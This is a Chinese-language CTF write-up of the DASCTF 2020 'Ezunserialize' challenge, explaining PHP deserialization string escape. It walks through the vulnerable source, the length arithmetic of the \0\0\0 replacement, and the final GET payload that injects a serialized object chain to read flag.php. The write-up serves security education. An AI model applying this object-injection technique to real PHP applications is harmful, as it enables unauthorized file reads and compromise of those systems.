【DASCTF 2020】Ezunserialize 超详细题解,从一个题学习php反序列化字符串逃逸
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A {
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B {
public $b = 'world';
function __destruct(){
$c = 'hello' . $this->b;
echo $c;
}
}
class C {
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'], $_GET['b']);
$b = unserialize(read(write(serialize($a))));
我的困惑点
1.read和write分别怎么用
一个是长度由长变短,一个是长度由短变长,我们首选由长变短,这样我们就可以控制后面逃逸出的字符串
但是可能会有疑问:下面明明read和write都调用了,为什么我们能自己选呢
解答:我们传入\0\0\0则只调用read,因为没有write中匹配的chr(0) . '' . chr(0);同样的,我们传入chr(0) . '' . chr(0)则只调用write,因为没有read中匹配的\0\0\0
2.反序列化点在哪
关键就在于最后两行
我们看到$a是实例化的A类,传的两个参数分别是给A类中的username和password
最后反序列化也是经过read处理后的serialize($a);
3.怎么让关键序列进行反序列化执行
我们需要利用的是类B和类C的序列化字符串
但是这里的反序列化点只有类A
所以我们要把类B和类C的序列化字符串注入到类A的序列化字符串中,使类A的字符串反序列化时能够对我们注入的序列进行反序列化,执行目标代码
4.为什么,并且怎么样让目标序列注入到类A的序列中并反序列化执行
这个我们边解题边讲
5.解题
首先简单传一个username和password

然后拿到关键读flag的序列化字符串

O:1:"A":2:{s:8:"username";s:3:"111";s:8:"password";s:3:"222";}
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
我们需要做的,就是把关键序列化字符串放进222的位置,然后通过控制username的值,通过字符不等长替换吞掉后面的一些字符,使关键字符串注入到其中,并且符合序列化语法
先把第二行赋值为password,观察

可以看到关键字符串被插入进序列化字符串,被当作字符串,所以无法触发file_get_contents
这里涉及到反序列化的一个特性
反序列化是从左往右只要读到一个满足条件的大括号,我们就认为序列化闭合了
在对象 { ... } 内,解析器按顺序读取:键 token → 值 token → 键 token → 值 token,共按对象声明的属性数取值。
所以我们要让注入的序列化字符串紧跟在一个键token后面,但是不能被解析为字符串
所以注入的序列化字符串
password=s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
可以看到需要注入的字符串紧跟在键password后面,但是没有被s:xx:””包裹,也就没有被解析为键的值,也就没有被当作这个键的字符串,但是解析器读取这个 s:8:"password"(作为键2),然后立即读取下一个 token 作为其值。下一个 token 在字节流上是 O:1:"B":1:{...} —— 这是一个合法的对象 token,因此解析器按对象语法解析 B(读类名长度、类名、属性数,然后解析 B 的属性:b,其值又是对象 C,继续解析 C),最终实例化对象 B(与 C)。
所以现在我们先需要让前面的序列符合序列化字符串结构,引号全部闭合。然后研究username的值进行逃逸
将修改后的需要注入的序列化字符串给password运行

O:1:"A":2:{s:8:"username";s:3:"111";s:8:"password";s:70:"s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
可以看到s:70后面的引号没有闭合,并且没有分号分割直接拼上了后面第二个s:8:”password”,我们手动再加上引号和分号
password=";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

可以看到这次结构就对了,引号闭合并且有分号分割
下面就要进行字符串逃逸
我们需要让s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}后面这一串逃逸出来

也就需要吃掉这一部分
计算一下长度,23个字符
再分析一下字符替换
我们需要由长变短的替换,也就是从\0\0\0变成0x00 * 0x00的三个字符(chr0不可见,但也算字符数量),所以替换一次能逃逸出三个字符
23并不能与3整除,所以要在password注入的序列字符串前面再补一个,凑整除
password=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
24/3=8,给username赋值8个\0\0\0就可以了
这里注意,为什么是补password,而不是补username
我们运行一下就知道了

(由于chr0不可见,我们用三个星号 *** 来作为替换后的字符)
可以很明显的看到,如果我们在username后面加上一个字符,那么序列中username的长度s也会自动+1,在字符逃逸时结果依旧不变,我们手动补上的引号没有逃逸出来,不符合序列化结构

但是在password后面加上字符,就可以让引号逃逸出来,符合序列化结构

后面的关键序列就被注入进去了,unserialize从前往后解析到第二个O时,会重新按完整序列解析。也就让我们需要的序列进行了反序列化,执行了我们需要的代码
所以我们把username的值传给a,password的值传给b,就可以了
所以本题传入
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
拿到flag

浙公网安备 33010602011771号